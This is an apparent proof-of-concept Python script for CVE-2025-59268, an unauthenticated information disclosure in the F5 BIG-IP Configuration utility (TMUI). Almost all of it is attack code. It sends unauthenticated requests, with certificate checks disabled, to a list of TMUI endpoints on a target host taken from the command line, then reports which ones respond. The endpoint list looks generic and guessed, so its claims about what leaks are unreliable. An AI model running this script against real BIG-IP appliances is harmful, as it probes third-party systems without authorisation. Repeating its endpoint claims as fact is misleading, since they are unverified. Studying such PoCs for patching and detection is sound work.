CVE-2025-59268 F5 BIG-IP配置工具未授权信息泄露漏洞

# CVE-2025-59268 - F5 BIG-IP Configuration Utility Information Disclosure PoC # This PoC demonstrates accessing undisclosed endpoints on BIG-IP TMUI # without authentication to retrieve static non-sensitive information. import requests import urllib3 # Disable SSL warnings for self-signed certificates (common in BIG-IP deployments) urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def exploit_bigip_info_disclosure(target_host, port=443): """ Exploit CVE-2025-59268: Access undisclosed TMUI endpoints that leak static non-sensitive information without authentication. """ base_url = f"https://{target_host}:{port}" # Undisclosed endpoints in the Configuration utility (TMUI) # These endpoints return static non-sensitive information undisclosed_endpoints = [ "/tmui/login.jsp", # Login page (may expose version info) "/tmui/system/genericallowed", # System generic info endpoint "/tmui/Control/jspmap", # JSP mapping info "/tmui/locallb/", # Local load balancer info "/tmui/app/", # Application info ] print(f"[*] Targeting F5 BIG-IP at: {base_url}") print(f"[*] CVE-2025-59268: Unauthenticated Information Disclosure\n") for endpoint in undisclosed_endpoints: url = base_url + endpoint try: # Send unauthenticated GET request to undisclosed endpoint response = requests.get( url, verify=False, timeout=10, headers={ "User-Agent": "Mozilla/5.0 (compatible; SecurityResearch)", "Accept": "*/*" } ) if response.status_code == 200: print(f"[+] Accessible (HTTP {response.status_code}): {endpoint}") # Extract relevant information from response content_length = len(response.content) print(f" Content-Length: {content_length} bytes") # Look for version/config indicators in response if "BIG-IP" in response.text or "F5" in response.text: print(f" [!] F5/BIG-IP indicators found in response") else: print(f"[-] HTTP {response.status_code}: {endpoint}") except requests.exceptions.RequestException as e: print(f"[!] Error accessing {endpoint}: {e}") print(f"\n[*] Scan complete. Check results for information leakage.") if __name__ == "__main__": import sys target = sys.argv[1] if len(sys.argv) > 1 else "192.168.1.1" exploit_bigip_info_disclosure(target)